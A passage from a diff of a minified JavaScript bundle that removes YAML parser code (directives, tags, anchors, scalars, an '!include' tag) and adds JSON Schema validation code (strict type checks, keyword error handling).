e13.opts.strictTypes && (function(e14, t12) { + t12.length && (e14.dataTypes.length ? (t12.forEach((t13) => { + w6(e14.dataTypes, t13) || S6(e14, `type "${t13}" not allowed by context "${e14.dataTypes.join(",")}"`); + }), function(e15, t13) { + const i10 = []; + for (const n10 of e15.dataTypes) + w6(t13, n10) ? i10.push(n10) : t13.includes("integer") && "number" === n10 && i10.push("integer"); + e15.dataTypes = i10; + }(e14, t12)) : e14.dataTypes = t12); + }(e13, t11), e13.opts.allowUnionTypes || function(e14, t12) { + t12.length > 1 && (2 !== t12.length || !t12.includes("null")) && S6(e14, "use allowUnionTypes to allow union type keyword"); + }(e13, t11), function(e14, t12) { + const i10 = e14.self.RULES.all; + for (const n10 in i10) { + const r10 = i10[n10]; + if ("object" == typeof r10 && (0, o7.shouldUseRule)(e14.schema, r10)) { + const { type: i11 } = r10.definition; + i11.length && !i11.some((e15) => { + return n11 = e15, (i12 = t12).includes(n11) || "number" === n11 && i12.includes("integer"); + var i12, n11; + }) && S6(e14, `missing type "${i11.join(",")}" for keyword "${n10}"`); + } + } + }(e13, e13.dataTypes)); + }(e12, t10), r9.block(() => { + for (const e13 of h9.rules) + y8(e13); + y8(h9.post); + })) : r9.block(() => O7(e12, "$ref", h9.all.$ref.definition)); } - function N6(e12, t10) { - var i9 = C6(e12, t10), n9 = i9.message + i9.mark.position; - if (!e12.errorMap[n9]) { - e12.errors.push(i9), e12.errorMap[n9] = 1; - for (var r9 = e12.position; ; ) { - if (e12.position >= e12.input.length - 1) - return; - var o8 = e12.input.charAt(e12.position); - if ("\n" == o8) - return e12.position--, void (e12.position == r9 && (e12.position += 1)); - if ("\r" == o8) - return e12.position--, void (e12.position == r9 && (e12.position += 1)); - e12.position++; - } - } + function _6(e12, t10) { + const { gen: i9, schema: n9, opts: { useDefaults: r9 } } = e12; + r9 && (0, a7.assignDefaults)(e12, t10.type), i9.block(() => { + for (const i10 of t10.rules) + (0, o7.shouldUseRule)(n9, i10) && O7(e12, i10.keyword, i10.definition, t10.type); + }); } - function F6(e12, t10) { - var i9 = C6(e12, t10); - e12.onWarning && e12.onWarning.call(null, i9); + function w6(e12, t10) { + return e12.includes(t10) || "integer" === t10 && e12.includes("number"); } - var U6 = { YAML: function(e12, t10, i9) { - var n9, r9, o8; - null !== e12.version && N6(e12, "duplication of %YAML directive"), 1 !== i9.length && N6(e12, "YAML directive accepts exactly one argument"), null === (n9 = /^([0-9]+)\.([0-9]+)$/.exec(i9[0])) && N6(e12, "ill-formed argument of the YAML directive"), r9 = parseInt(n9[1], 10), o8 = parseInt(n9[2], 10), 1 !== r9 && N6(e12, "found incompatible YAML document (version 1.2 is required)"), e12.version = i9[0], e12.checkLineBreaks = o8 < 2, 2 !== o8 && N6(e12, "found incompatible YAML document (version 1.2 is required)"); - }, TAG: function(e12, t10, i9) { - var n9, r9; - 2 !== i9.length && N6(e12, "TAG directive accepts exactly two arguments"), n9 = i9[0], r9 = i9[1], j6.test(n9) || N6(e12, "ill-formed tag handle (first argument) of the TAG directive"), c7.call(e12.tagMap, n9) && N6(e12, 'there is a previously declared suffix for "' + n9 + '" tag handle'), $5.test(r9) || N6(e12, "ill-formed tag prefix (second argument) of the TAG directive"), e12.tagMap[n9] = r9; - } }; - function L6(e12, t10, i9, n9) { - var r9, o8, s8, a8, p8 = e12.result; - if (-1 == p8.startPosition && (p8.startPosition = t10), t10 <= i9) { - if (a8 = e12.input.slice(t10, i9), n9) - for (r9 = 0, o8 = a8.length; r9 < o8; r9 += 1) - 9 === (s8 = a8.charCodeAt(r9)) || 32 <= s8 && s8 <= 1114111 || N6(e12, "expected valid JSON character"); - else - g7.test(a8) && N6(e12, "the stream contains non-printable characters"); - p8.value += a8, p8.endPosition = i9; - } + function S6(e12, t10) { + t10 += ` at "${e12.schemaEnv.baseId + e12.errSchemaPath}" (strictTypes)`, (0, u7.checkStrictMode)(e12, t10, e12.opts.strictTypes); } - function z6(e12, t10, i9, r9, o8) { - if (null != r9) { - null === t10 && (t10 = { startPosition: r9.startPosition, endPosition: o8.endPosition, parent: null, errors: [], mappings: [], kind: n8.Kind.MAP }); - var s8 = n8.newMapping(r9, o8); - return s8.parent = t10, r9.parent = s8, null != o8 && (o8.parent = s8), !e12.ignoreDuplicateKeys && t10.mappings.forEach((t11) => { - t11.key && t11.key.value === (s8.key && s8.key.value) && (V5(e12, s8.key.startPosition, "duplicate key"), V5(e12, t11.key.startPosition, "duplicate key")); - }), t10.mappings.push(s8), t10.endPosition = o8 ? o8.endPosition : r9.endPosition + 1, t10; + t9.validateFunctionCode = function(e12) { + b8(e12) && (v8(e12), g7(e12)) ? function(e13) { + const { schema: t10, opts: i9, gen: n9 } = e13; + h8(e13, () => { + i9.$comment && t10.$comment && $5(e13), function(e14) { + const { schema: t11, opts: i10 } = e14; + void 0 !== t11.default && i10.useDefaults && i10.strictSchema && (0, u7.checkStrictMode)(e14, "default is ignored in the schema root"); + }(e13), n9.let(f8.default.vErrors, null), n9.let(f8.default.errors, 0), i9.unevaluated && function(e14) { + const { gen: t11, validateName: i10 } = e14; + e14.evaluated = t11.const("evaluated", d7._`${i10}.evaluated`), t11.if(d7._`${e14.evaluated}.dynamicProps`, () => t11.assign(d7._`${e14.evaluated}.props`, d7._`undefined`)), t11.if(d7._`${e14.evaluated}.dynamicItems`, () => t11.assign(d7._`${e14.evaluated}.items`, d7._`undefined`)); + }(e13), j6(e13), function(e14) { + const { gen: t11, schemaEnv: i10, validateName: n10, ValidationError: r9, opts: o8 } = e14; + i10.$async ? t11.if(d7._`${f8.default.errors} === 0`, () => t11.return(f8.default.data), () => t11.throw(d7._`new ${r9}(${f8.default.vErrors})`)) : (t11.assign(d7._`${n10}.errors`, f8.default.vErrors), o8.unevaluated && function({ gen: e15, evaluated: t12, props: i11, items: n11 }) { + i11 instanceof d7.Name && e15.assign(d7._`${t12}.props`, i11), n11 instanceof d7.Name && e15.assign(d7._`${t12}.items`, n11); + }(e14), t11.return(d7._`${f8.default.errors} === 0`)); + }(e13); + }); + }(e12) : h8(e12, () => (0, n8.topBoolOrEmptySchema)(e12)); + }; + class P6 { + constructor(e12, t10, i9) { + if ((0, p7.validateKeywordUsage)(e12, t10, i9), this.gen = e12.gen, this.allErrors = e12.allErrors, this.keyword = i9, this.data = e12.data, this.schema = e12.schema[i9], this.$data = t10.$data && e12.opts.$data && this.schema && this.schema.$data, this.schemaValue = (0, u7.schemaRefOrVal)(e12, this.schema, i9, this.$data), this.schemaType = t10.schemaType, this.parentSchema = e12.schema, this.params = {}, this.it = e12, this.def = t10, this.$data) + this.schemaCode = e12.gen.const("vSchema", I6(this.$data, e12)); + else if (this.schemaCode = this.schemaValue, !(0, p7.validSchemaType)(this.schema, t10.schemaType, t10.allowUndefined)) + throw new Error(`${i9} value must be ${JSON.stringify(t10.schemaType)}`); + ("code" in t10 ? t10.trackErrors : false !== t10.errors) && (this.errsCount = e12.gen.const("_errs", f8.default.errors)); } - } - function B6(e12) { - var t10; - 10 === (t10 = e12.input.charCodeAt(e12.position)) ? e12.position++ : 13 === t10 ? (e12.position++, 10 === e12.input.charCodeAt(e12.position) && e12.position++) : N6(e12, "a line break is expected"), e12.line += 1, e12.lineStart = e12.position, e12.lines.push({ start: e12.lineStart, line: e12.line }); - } - function Q5(e12) { - var t10 = 0, i9 = e12.position; - do { - t10 = e12.input.charCodeAt(++e12.position); - } while (0 !== t10 && !x7(t10)); - e12.comments.push({ startPosition: i9, endPosition: e12.position, value: e12.input.slice(i9 + 1, e12.position) }); - } - function K5(e12, t10, i9) { - for (var n9 = 0, r9 = e12.input.charCodeAt(e12.position); 0 !== r9; ) { - for (; _6(r9); ) - 9 === r9 && e12.errors.push(C6(e12, "Using tabs can lead to unpredictable results", true)), r9 = e12.input.charCodeAt(++e12.position); - if (t10 && 35 === r9 && (Q5(e12), r9 = e12.input.charCodeAt(e12.position)), !x7(r9)) - break; - for (B6(e12), r9 = e12.input.charCodeAt(e12.position), n9++, e12.lineIndent = 0; 32 === r9; ) - e12.lineIndent++, r9 = e12.input.charCodeAt(++e12.position); + result(e12, t10, i9) { + this.failResult((0, d7.not)(e12), t10, i9); } - return -1 !== i9 && 0 !== n9 && e12.lineIndent < i9 && F6(e12, "deficient indentation"), n9; - } - function H5(e12) { - var t10, i9 = e12.position; - return !(45 !== (t10 = e12.input.charCodeAt(i9)) && 46 !== t10 || e12.input.charCodeAt(i9 + 1) !== t10 || e12.input.charCodeAt(i9 + 2) !== t10 || (i9 += 3, 0 !== (t10 = e12.input.charCodeAt(i9)) && !w6(t10))); - } - function G5(e12, t10, i9) { - 1 === i9 ? t10.value += " " : i9 > 1 && (t10.value += r8.repeat("\n", i9 - 1)); - } - function W5(e12, t10) { - var i9, r9, o8 = e12.tag, s8 = e12.anchor, a8 = n8.newItems(), p8 = false; - for (null !== e12.anchor && (a8.anchorId = e12.anchor, e12.anchorMap[e12.anchor] = a8), a8.startPosition = e12.position, r9 = e12.input.charCodeAt(e12.position); 0 !== r9 && 45 === r9 && w6(e12.input.charCodeAt(e12.position + 1)); ) - if (p8 = true, e12.position++, K5(e12, true, -1) && e12.lineIndent <= t10) - a8.items.push(null), r9 = e12.input.charCodeAt(e12.position); - else if (i9 = e12.line, Y6(e12, t10, l7, false, true), e12.result && (e12.result.parent = a8, a8.items.push(e12.result)), K5(e12, true, -1), r9 = e12.input.charCodeAt(e12.position), (e12.line === i9 || e12.lineIndent > t10) && 0 !== r9) - N6(e12, "bad indentation of a sequence entry"); - else if (e12.lineIndent < t10) - break; - return a8.endPosition = e12.position, !!p8 && (e12.tag = o8, e12.anchor = s8, e12.kind = "sequence", e12.result = a8, a8.endPosition = e12.position, true); - } - function J5(e12) { - var t10, i9, n9, r9, o8 = false, s8 = false; - if (33 !== (r9 = e12.input.charCodeAt(e12.position))) - return false; - if (null !== e12.tag && N6(e12, "duplication of a tag property"), 60 === (r9 = e12.input.charCodeAt(++e12.position)) ? (o8 = true, r9 = e12.input.charCodeAt(++e12.position)) : 33 === r9 ? (s8 = true, i9 = "!!", r9 = e12.input.charCodeAt(++e12.position)) : i9 = "!", t10 = e12.position, o8) { - do { - r9 = e12.input.charCodeAt(++e12.position); - } while (0 !== r9 && 62 !== r9); - e12.position < e12.length ? (n9 = e12.input.slice(t10, e12.position), r9 = e12.input.charCodeAt(++e12.position)) : N6(e12, "unexpected end of the stream within a verbatim tag"); - } else { - for (; 0 !== r9 && !w6(r9); ) - 33 === r9 && (s8 ? N6(e12, "tag suffix cannot contain exclamation marks") : (i9 = e12.input.slice(t10 - 1, e12.position + 1), j6.test(i9) || N6(e12, "named tag handle cannot contain such characters"), s8 = true, t10 = e12.position + 1)), r9 = e12.input.charCodeAt(++e12.position); - n9 = e12.input.slice(t10, e12.position), v8.test(n9) && N6(e12, "tag suffix cannot contain flow indicator characters"); + failResult(e12, t10, i9) { + this.gen.if(e12), i9 ? i9() : this.error(), t10 ? (this.gen.else(), t10(), this.allErrors && this.gen.endIf()) : this.allErrors ? this.gen.endIf() : this.gen.else(); } - return n9 && !$5.test(n9) && N6(e12, "tag name cannot contain such characters: " + n9), o8 ? e12.tag = n9 : c7.call(e12.tagMap, i9) ? e12.tag = e12.tagMap[i9] + n9 : "!" === i9 ? e12.tag = "!" + n9 : "!!" === i9 ? e12.tag = "tag:yaml.org,2002:" + n9 : N6(e12, 'undeclared tag handle "' + i9 + '"'), true; - } - function Z5(e12) { - var t10, i9; - if (38 !== (i9 = e12.input.charCodeAt(e12.position))) - return false; - for (null !== e12.anchor && N6(e12, "duplication of an anchor property"), i9 = e12.input.charCodeAt(++e12.position), t10 = e12.position; 0 !== i9 && !w6(i9) && !S6(i9); ) - i9 = e12.input.charCodeAt(++e12.position); - return e12.position === t10 && N6(e12, "name of an anchor node must contain at least one character"), e12.anchor = e12.input.slice(t10, e12.position), true; - } - function Y6(e12, t10, i9, o8, s8) { - var a8, p8, g8, b9, v9, j7, $6, I7, R7 = 1, D7 = false, C7 = false; - e12.tag = null, e12.anchor = null, e12.kind = null, e12.result = null, a8 = p8 = g8 = u7 === i9 || l7 === i9, o8 && K5(e12, true, -1) && (D7 = true, e12.lineIndent > t10 ? R7 = 1 : e12.lineIndent === t10 ? R7 = 0 : e12.lineIndent < t10 && (R7 = -1)); - let F7 = e12.position; - if (e12.position, e12.lineStart, 1 === R7) - for (; J5(e12) || Z5(e12); ) - K5(e12, true, -1) ? (D7 = true, g8 = a8, e12.lineIndent > t10 ? R7 = 1 : e12.lineIndent === t10 ? R7 = 0 : e12.lineIndent < t10 && (R7 = -1)) : g8 = false; - if (g8 && (g8 = D7 || s8), 1 !== R7 && u7 !== i9 || ($6 = d7 === i9 || f8 === i9 ? t10 : t10 + 1, I7 = e12.position - e12.lineStart, 1 === R7 ? g8 && (W5(e12, I7) || function(e13, t11, i10) { - var r9, o9, s9, a9, p9 = e13.tag, c8 = e13.anchor, d8 = n8.newMap(), l8 = null, m8 = null, h9 = false, y8 = false; - for (d8.startPosition = e13.position, null !== e13.anchor && (d8.anchorId = e13.anchor, e13.anchorMap[e13.anchor] = d8), a9 = e13.input.charCodeAt(e13.position); 0 !== a9; ) { - if (r9 = e13.input.charCodeAt(e13.position + 1), s9 = e13.line, 63 !== a9 && 58 !== a9 || !w6(r9)) { - if (!Y6(e13, i10, f8, false, true)) - break; - if (e13.line === s9) { - for (a9 = e13.input.charCodeAt(e13.position); _6(a9); ) - a9 = e13.input.charCodeAt(++e13.position); - if (58 === a9) - w6(a9 = e13.input.charCodeAt(++e13.position)) || N6(e13, "a whitespace character is expected after the key-value separator within a block mapping"), h9 && (z6(e13, d8, 0, l8, null), l8 = m8 = null), y8 = true, h9 = false, o9 = false, e13.tag, l8 = e13.result; - else { - if (e13.position == e13.lineStart && H5(e13)) - break; - if (!y8) - return e13.tag = p9, e13.anchor = c8, true; - N6(e13, "can not read an implicit mapping pair; a colon is missed"); - } - } else { - if (!y8) - return e13.tag = p9, e13.anchor = c8, true; - for (N6(e13, "can not read a block mapping entry; a multiline key may not be an implicit key"); e13.position > 0; ) - if (x7(a9 = e13.input.charCodeAt(--e13.position))) { - e13.position++; - break; - } - } - } else - 63 === a9 ? (h9 && (z6(e13, d8, 0, l8, null), l8 = m8 = null), y8 = true, h9 = true, o9 = true) : h9 ? (h9 = false, o9 = true) : N6(e13, "incomplete explicit mapping pair; a key node is missed"), e13.position += 1, a9 = r9; - if ((e13.line === s9 || e13.lineIndent > t11) && (Y6(e13, t11, u7, true, o9) && (h9 ? l8 = e13.result : m8 = e13.result), h9 || (z6(e13, d8, 0, l8, m8), l8 = m8 = null), K5(e13, true, -1), a9 = e13.input.charCodeAt(e13.position)), e13.lineIndent > t11 && 0 !== a9) - N6(e13, "bad indentation of a mapping entry"); - else if (e13.lineIndent < t11) - break; - } - return h9 && z6(e13, d8, 0, l8, null), y8 && (e13.tag = p9, e13.anchor = c8, e13.kind = "mapping", e13.result = d8), y8; - }(e12, I7, $6)) || function(e13, t11) { - var i10, r9, o9, s9, a9, p9, c8, f9, l8, u8 = true, m8 = e13.tag, h9 = e13.anchor; - if (91 === (l8 = e13.input.charCodeAt(e13.position))) - o9 = 93, p9 = false, (r9 = n8.newItems()).startPosition = e13.position; - else { - if (123 !== l8) - return false; - o9 = 125, p9 = true, (r9 = n8.newMap()).startPosition = e13.position; - } - for (null !== e13.anchor && (r9.anchorId = e13.anchor, e13.anchorMap[e13.anchor] = r9), l8 = e13.input.charCodeAt(++e13.position); 0 !== l8; ) { - if (K5(e13, true, t11), (l8 = e13.input.charCodeAt(e13.position)) === o9) - return e13.position++, e13.tag = m8, e13.anchor = h9, e13.kind = p9 ? "mapping" : "sequence", e13.result = r9, r9.endPosition = e13.position, true; - if (!u8) { - var y8 = e13.position; - N6(e13, "missed comma between flow collection entries"), e13.position = y8 + 1; - } - if (c8 = f9 = null, s9 = a9 = false, 63 === l8 && w6(e13.input.charCodeAt(e13.position + 1)) && (s9 = a9 = true, e13.position++, K5(e13, true, t11)), i10 = e13.line, Y6(e13, t11, d7, false, true), e13.tag, c8 = e13.result, K5(e13, true, t11), l8 = e13.input.charCodeAt(e13.position), !a9 && e13.line !== i10 || 58 !== l8 || (s9 = true, l8 = e13.input.charCodeAt(++e13.position), K5(e13, true, t11), Y6(e13, t11, d7, false, true), f9 = e13.result), p9) - z6(e13, r9, 0, c8, f9); - else if (s9) { - var g9 = z6(e13, null, 0, c8, f9); - g9.parent = r9, r9.items.push(g9); - } else - c8 && (c8.parent = r9), r9.items.push(c8); - r9.endPosition = e13.position + 1, K5(e13, true, t11), 44 === (l8 = e13.input.charCodeAt(e13.position)) ? (u8 = true, l8 = e13.input.charCodeAt(++e13.position)) : u8 = false; - } - N6(e13, "unexpected end of the stream within a flow collection"); - }(e12, $6) ? C7 = true : (p8 && function(e13, t11) { - var i10, o9, s9, a9, p9 = m7, c8 = false, d8 = t11, f9 = 0, l8 = false; - if (124 === (a9 = e13.input.charCodeAt(e13.position))) - o9 = false; - else { - if (62 !== a9) - return false; - o9 = true; - } - var u8 = n8.newScalar(); - for (e13.kind = "scalar", e13.result = u8, u8.startPosition = e13.position; 0 !== a9; ) - if (43 === (a9 = e13.input.charCodeAt(++e13.position)) || 45 === a9) - m7 === p9 ? p9 = 43 === a9 ? y7 : h8 : N6(e13, "repeat of a chomping mode identifier"); - else { - if (!((s9 = T6(a9)) >= 0)) - break; - 0 === s9 ? N6(e13, "bad explicit indentation width of a block scalar; it cannot be less than one") : c8 ? N6(e13, "repeat of an indentation width identifier") : (d8 = t11 + s9 - 1, c8 = true); - } - if (_6(a9)) { - do { - a9 = e13.input.charCodeAt(++e13.position); - } while (_6(a9)); - 35 === a9 && (Q5(e13), a9 = e13.input.charCodeAt(e13.position)); - } - for (; 0 !== a9; ) { - for (B6(e13), e13.lineIndent = 0, a9 = e13.input.charCodeAt(e13.position); (!c8 || e13.lineIndent < d8) && 32 === a9; ) - e13.lineIndent++, a9 = e13.input.charCodeAt(++e13.position); - if (!c8 && e13.lineIndent > d8 && (d8 = e13.lineIndent), x7(a9)) - f9++; - else { - if (e13.lineIndent < d8) { - p9 === y7 ? u8.value += r8.repeat("\n", f9) : p9 === m7 && c8 && (u8.value += "\n"); - break; - } - for (o9 ? _6(a9) ? (l8 = true, u8.value += r8.repeat("\n", f9 + 1)) : l8 ? (l8 = false, u8.value += r8.repeat("\n", f9 + 1)) : 0 === f9 ? c8 && (u8.value += " ") : u8.value += r8.repeat("\n", f9) : c8 && (u8.value += r8.repeat("\n", f9 + 1)), c8 = true, f9 = 0, i10 = e13.position; !x7(a9) && 0 !== a9; ) - a9 = e13.input.charCodeAt(++e13.position); - L6(e13, i10, e13.position, false); - } - } - u8.endPosition = e13.position; - for (var g9 = e13.position - 1; ; ) { - var b10 = e13.input[g9]; - if ("\r" == b10 || "\n" == b10) - break; - if (" " != b10 && " " != b10) - break; - g9--; - } - return u8.endPosition = g9, u8.rawValue = e13.input.substring(u8.startPosition, u8.endPosition), true; - }(e12, $6) || function(e13, t11) { - var i10, r9, o9; - if (39 !== (i10 = e13.input.charCodeAt(e13.position))) - return false; - var s9 = n8.newScalar(); - for (s9.singleQuoted = true, e13.kind = "scalar", e13.result = s9, s9.startPosition = e13.position, e13.position++, r9 = o9 = e13.position; 0 !== (i10 = e13.input.charCodeAt(e13.position)); ) - if (39 === i10) { - if (L6(e13, r9, e13.position, true), i10 = e13.input.charCodeAt(++e13.position), s9.endPosition = e13.position, 39 !== i10) - return true; - r9 = o9 = e13.position, e13.position++; - } else - x7(i10) ? (L6(e13, r9, o9, true), G5(0, s9, K5(e13, false, t11)), r9 = o9 = e13.position) : e13.position === e13.lineStart && H5(e13) ? N6(e13, "unexpected end of the document within a single quoted scalar") : (e13.position++, o9 = e13.position, s9.endPosition = e13.position); - N6(e13, "unexpected end of the stream within a single quoted scalar"); - }(e12, $6) || function(e13, t11) { - var i10, r9, o9, s9, a9, p9; - if (34 !== (p9 = e13.input.charCodeAt(e13.position))) - return false; - e13.kind = "scalar"; - var c8 = n8.newScalar(); - for (c8.doubleQuoted = true, e13.result = c8, c8.startPosition = e13.position, e13.position++, i10 = r9 = e13.position; 0 !== (p9 = e13.input.charCodeAt(e13.position)); ) { - if (34 === p9) - return L6(e13, i10, e13.position, true), e13.position++, c8.endPosition = e13.position, c8.rawValue = e13.input.substring(c8.startPosition, c8.endPosition), true; - if (92 === p9) { - if (L6(e13, i10, e13.position, true), x7(p9 = e13.input.charCodeAt(++e13.position))) - K5(e13, false, t11); - else if (p9 < 256 && (e13.allowAnyEscape ? k6[p9] : E6[p9])) - c8.value += e13.allowAnyEscape ? M6[p9] : q5[p9], e13.position++; - else if ((a9 = O7(p9)) > 0) { - for (o9 = a9, s9 = 0; o9 > 0; o9--) - (a9 = P6(p9 = e13.input.charCodeAt(++e13.position))) >= 0 ? s9 = (s9 << 4) + a9 : N6(e13, "expected hexadecimal character"); - c8.value += A6(s9), e13.position++; - } else - N6(e13, "unknown escape sequence"); - i10 = r9 = e13.position; - } else - x7(p9) ? (L6(e13, i10, r9, true), G5(0, c8, K5(e13, false, t11)), i10 = r9 = e13.position) : e13.position === e13.lineStart && H5(e13) ? N6(e13, "unexpected end of the document within a double quoted scalar") : (e13.position++, r9 = e13.position); - } - N6(e13, "unexpected end of the stream within a double quoted scalar"); - }(e12, $6) ? C7 = true : function(e13) { - var t11, i10, r9; - if (e13.length, e13.input, 42 !== (r9 = e13.input.charCodeAt(e13.position))) - return false; - for (r9 = e13.input.charCodeAt(++e13.position), t11 = e13.position; 0 !== r9 && !w6(r9) && !S6(r9); ) - r9 = e13.input.charCodeAt(++e13.position); - return e13.position <= t11 && (N6(e13, "name of an alias node must contain at least one character"), e13.position = t11 + 1), i10 = e13.input.slice(t11, e13.position), e13.anchorMap.hasOwnProperty(i10) || (N6(e13, 'unidentified alias "' + i10 + '"'), e13.position <= t11 && (e13.position = t11 + 1)), e13.result = n8.newAnchorRef(i10, t11, e13.position, e13.anchorMap[i10]), K5(e13, true, -1), true; - }(e12) ? (C7 = true, null === e12.tag && null === e12.anchor || N6(e12, "alias node should not have any properties")) : function(e13, t11, i10) { - var r9, o9, s9, a9, p9, c8, d8, f9, l8 = e13.kind, u8 = e13.result, m8 = n8.newScalar(); - if (m8.plainScalar = true, e13.result = m8, w6(f9 = e13.input.charCodeAt(e13.position)) || S6(f9) || 35 === f9 || 38 === f9 || 42 === f9 || 33 === f9 || 124 === f9 || 62 === f9 || 39 === f9 || 34 === f9 || 37 === f9 || 64 === f9 || 96 === f9) - return false; - if ((63 === f9 || 45 === f9) && (w6(r9 = e13.input.charCodeAt(e13.position + 1)) || i10 && S6(r9))) - return false; - for (e13.kind = "scalar", o9 = s9 = e13.position, a9 = false; 0 !== f9; ) { - if (58 === f9) { - if (w6(r9 = e13.input.charCodeAt(e13.position + 1)) || i10 && S6(r9)) - break; - } else if (35 === f9) { - if (w6(e13.input.charCodeAt(e13.position - 1))) - break; - } else { - if (e13.position === e13.lineStart && H5(e13) || i10 && S6(f9)) - break; - if (x7(f9)) { - if (p9 = e13.line, c8 = e13.lineStart, d8 = e13.lineIndent, K5(e13, false, -1), e13.lineIndent >= t11) { - a9 = true, f9 = e13.input.charCodeAt(e13.position); - continue; - } - e13.position = s9, e13.line = p9, e13.lineStart = c8, e13.lineIndent = d8; - break; - } - } - if (a9 && (L6(e13, o9, s9, false), G5(0, m8, e13.line - p9), o9 = s9 = e13.position, a9 = false), _6(f9) || (s9 = e13.position + 1), f9 = e13.input.charCodeAt(++e13.position), e13.position >= e13.input.length) - return false; - } - return L6(e13, o9, s9, false), -1 != e13.result.startPosition ? (m8.rawValue = e13.input.substring(m8.startPosition, m8.endPosition), true) : (e13.kind = l8, e13.result = u8, false); - }(e12, $6, d7 === i9) && (C7 = true, null === e12.tag && (e12.tag = "?")), null !== e12.anchor && (e12.anchorMap[e12.anchor] = e12.result, e12.result.anchorId = e12.anchor)) : 0 === R7 && (C7 = g8 && W5(e12, I7))), null !== e12.tag && "!" !== e12.tag) - if ("!include" == e12.tag) - e12.result || (e12.result = n8.newScalar(), e12.result.startPosition = e12.position, e12.result.endPosition = e12.position, N6(e12, "!include without value")), e12.result.kind = n8.Kind.INCLUDE_REF; - else if ("?" === e12.tag) - for (b9 = 0, v9 = e12.implicitTypes.length; b9 < v9; b9 += 1) { - j7 = e12.implicitTypes[b9]; - var U7 = e12.result.value; - if (j7.resolve(U7)) { - e12.result.valueObject = j7.construct(e12.result.value), e12.tag = j7.tag, null !== e12.anchor && (e12.result.anchorId = e12.anchor, e12.anchorMap[e12.anchor] = e12.result); - break; - } - } - else - c7.call(e12.typeMap, e12.tag) ? (j7 = e12.typeMap[e12.tag], null !== e12.result && j7.kind !== e12.kind && N6(e12, "unacceptable node kind for !<" + e12.tag + '> tag; it should be "' + j7.kind + '", not "' + e12.kind + '"'), j7.resolve(e12.result) ? (e12.result = j7.construct(e12.result), null !== e12.anchor && (e12.result.anchorId = e12.anchor, e12.anchorMap[e12.anchor] = e12.result)) : N6(e12, "cannot resolve a node with !<" + e12.tag + "> explicit tag")) : V5(e12, F7, "unknown tag <" + e12.tag + ">", false, true); - return null !== e12.tag || null !== e12.anchor || C7; - } - function X5(e12) { - var t10, i9, n9, r9, o8 = e12.position, s8 = false; - for (e12.version = null, e12.checkLineBreaks = e12.legacy, e12.tagMap = {}, e12.anchorMap = {}, e12.comments = []; 0 !== (r9 = e12.input.charCodeAt(e12.position)) && (K5(e12, true, -1), r9 = e12.input.charCodeAt(e12.position), !(e12.lineIndent > 0 || 37 !== r9)); ) { - for (s8 = true, r9 = e12.input.charCodeAt(++e12.position), t10 = e12.position; 0 !== r9 && !w6(r9); ) - r9 = e12.input.charCodeAt(++e12.position); - for (n9 = [], (i9 = e12.input.slice(t10, e12.position)).length < 1 && N6(e12, "directive name must not be less than one character in length"); 0 !== r9; ) { - for (; _6(r9); ) - r9 = e12.input.charCodeAt(++e12.position); - if (35 === r9) { - Q5(e12), r9 = e12.input.charCodeAt(e12.position); - break; - } - if (x7(r9)) - break; - for (t10 = e12.position; 0 !== r9 && !w6(r9); ) - r9 = e12.input.charCodeAt(++e12.position); - n9.push(e12.input.slice(t10, e12.position)); - } - 0 !== r9 && B6(e12), c7.call(U6, i9) ? U6[i9](e12, i9, n9) : (F6(e12, 'unknown document directive "' + i9 + '"'), e12.position++); + pass(e12, t10) { + this.failResult((0, d7.not)(e12), void 0, t10); } - K5(e12, true, -1), 0 === e12.lineIndent && 45 === e12.input.charCodeAt(e12.position) && 45 === e12.input.charCodeAt(e12.position + 1) && 45 === e12.input.charCodeAt(e12.position + 2) ? (e12.position += 3, K5(e12, true, -1)) : s8 && N6(e12, "directives end mark is expected"), Y6(e12, e12.lineIndent - 1, u7, false, true), K5(e12, true, -1), e12.checkLineBreaks && b8.test(e12.input.slice(o8, e12.position)) && F6(e12, "non-ASCII line breaks are interpreted as content"), e12.result.comments = e12.comments, e12.documents.push(e12.result), e12.position === e12.lineStart && H5(e12) ? 46 === e12.input.charCodeAt(e12.position) && (e12.position += 3, K5(e12, true, -1)) : e12.position < e12.length - 1 && N6(e12, "end of the stream or a document separator is expected"); - } - function ee4(e12, t10) { - t10 = t10 || {}; - let i9 = (e12 = String(e12)).length; - 0 !== i9 && (10 !== e12.charCodeAt(i9 - 1) && 13 !== e12.charCodeAt(i9 - 1) && (e12 += "\n"), 65279 === e12.charCodeAt(0) && (e12 = e12.slice(1))); - var n9 = new D6(e12, t10); - for (n9.input += "\0"; 32 === n9.input.charCodeAt(n9.position); ) - n9.lineIndent += 1, n9.position += 1; - for (; n9.position < n9.length - 1; ) { - var r9 = n9.position; - if (X5(n9), n9.position <= r9) - for (; n9.position < n9.length - 1 && "\n" != n9.input.charAt(n9.position); n9.position++) - ; + fail(e12) { + if (void 0 === e12) + return this.error(), void (this.allErrors || this.gen.if(false)); + this.gen.if(e12), this.error(), this.allErrors ? this.gen.endIf() : this.gen.else(); } - let o8 = n9.documents, s8 = o8.length; - s8 > 0 && (o8[s8 - 1].endPosition = i9); - for (let e13 of o8) - e13.errors = n9.errors, e13.startPosition > e13.endPosition && (e13.startPosition = e13.endPosition); - return o8; - } - function te4(e12, t10, i9 = {}) { - var n9, r9, o8 = ee4(e12, i9); - for (n9 = 0, r9 = o8.length; n9 < r9; n9 += 1) - t10(o8[n9]); - } - function ie3(e12, t10 = {}) { - var i9 = ee4(e12, t10); - if (0 !== i9.length) { - if (1 === i9.length) - return i9[0]; - var n9 = new o7("expected a single document in the stream, but found more"); - return n9.mark = new s7("", "", 0, 0, 0), n9.mark.position = i9[0].endPosition, i9[0].errors.push(n9), i9[0]; + fail$data(e12) { + if (!this.$data) + return this.fail(e12); + const { schemaCode: t10 } = this; + this.fail(d7._`${t10} !== undefined && (${(0, d7.or)(this.invalid$data(), e12)})`); } - } - function ne4(e12, t10, i9 = {}) { - te4(e12, t10, r8.extend({ schema: a7 }, i9)); - } - function re4(e12, t10 = {}) { - return ie3(e12, r8.extend({ schema: a7 }, t10)); - } - t9.loadAll = te4, t9.load = ie3, t9.safeLoadAll = ne4, t9.safeLoad = re4, e11.exports.loadAll = te4, e11.exports.load = ie3, e11.exports.safeLoadAll = ne4, e11.exports.safeLoad = re4; - }, 57804: (e11, t9, i8) => { - "use strict"; - const n8 = i8(29228); - e11.exports = class { - constructor(e12, t10, i9, n9, r8) { - this.name = e12, this.buffer = t10, this.position = i9, this.line = n9, this.column = r8; + error(e12, t10, i9) { + if (t10) + return this.setParams(t10), this._error(e12, i9), void this.setParams({}); + this._error(e12, i9); } - getSnippet(e12 = 0, t10 = 75) { - var i9, r8, o7, s7, a7; - if (!this.buffer) - return null; - for (e12 = e12 